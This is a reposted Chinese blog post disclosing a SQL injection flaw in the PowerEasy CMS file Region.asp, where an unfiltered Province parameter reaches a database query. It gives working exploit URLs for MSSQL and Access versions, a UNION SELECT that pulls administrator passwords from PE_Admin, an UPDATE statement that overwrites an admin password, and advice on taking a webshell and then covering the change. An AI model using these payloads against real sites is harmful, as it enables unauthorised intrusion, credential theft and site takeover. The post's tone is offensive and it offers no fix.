动易0day--Region.asp注入

ps: 虽然是老文 但觉得触发的思路不错 所以转载之

 

 

今天下午看了一个下午的动网代码,头甚是疼,于是晚上回来,找找动易更有其他漏洞没,结果一看,还真有一处,逻辑错误!
在Region.asp中
Country = ReplaceBadChar(Trim(Request("Country")))
Province = ReplaceBadChar(Trim(Request("Province")))
City = ReplaceBadChar(Trim(Request("City")))
对任何传入的变量都进行了过滤,但是编程者在这里:
Set TempRs = Conn.Execute("SELECT Province FROM PE_Province WHERE Country='" & Country & "' ORDER BY ProvinceID")
If Err Or TempRs.EOF Then
ReDim ShowProvince(0, 0)
Province = Trim(Request.QueryString("Province"))
Else
ShowProvince = TempRs.GetRows(-1)
End If
Set TempRs = Conn.Execute("SELECT DISTINCT City FROM PE_City WHERE Province='" & Province & "'")
大 家能够看到,Province = Trim(Request.QueryString("Province")) 这里直接取的是传入的Province,而不是过滤后的,所以这个Province变量危险了,那么在下面他是直接带入了查询,由于Province变量 是我们能够随意构造的,所以我们就能够构造我们的SQL语句。

但是要进入这个查询的前提是:Err=true 或 TempRs.EOF,而要达到这2个中的一个,就是要让Conn.Execute("SELECT Province FROM PE_Province WHERE Country='" & Country & "' ORDER BY ProvinceID")这条语句在表中查询不到所要找的Country,这样就好构造了。下面是利用代码:

0--" target=_blank>http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi' and user>0--

就是在

http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi' 后面加上我们的SQL注入语句。

这就是整个利用原理,很简单,但也很致命的漏洞。

上面是MSSQL版本的利用,而假如要是ACCESS版本中的利用,那么怎么办呢,呵呵,聪明的您可能觉得我在说废话老,看吧。

http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi' and 1=1 and '1'='1

这样的话,我们的and 1=1就是在access版本中的利用。呵呵。这样就完成这个漏洞在2个版本的利用。

http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi&#39; and 1=2 union select password from PE_Admin where 1<2 and '1'='1

其中username是要暴的字段,哈哈,通杀的感觉爽吧


补充:

update PE_Admin set Password='13955235245b2497' where id=2--

假如不能够列目录就插管理员,但我喜欢直接update管理员密码,拿完shell后改回来,或去加一个

假如能够列目录就直接找web目录,然后用nb的getwebshell就能够拿到webshell了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值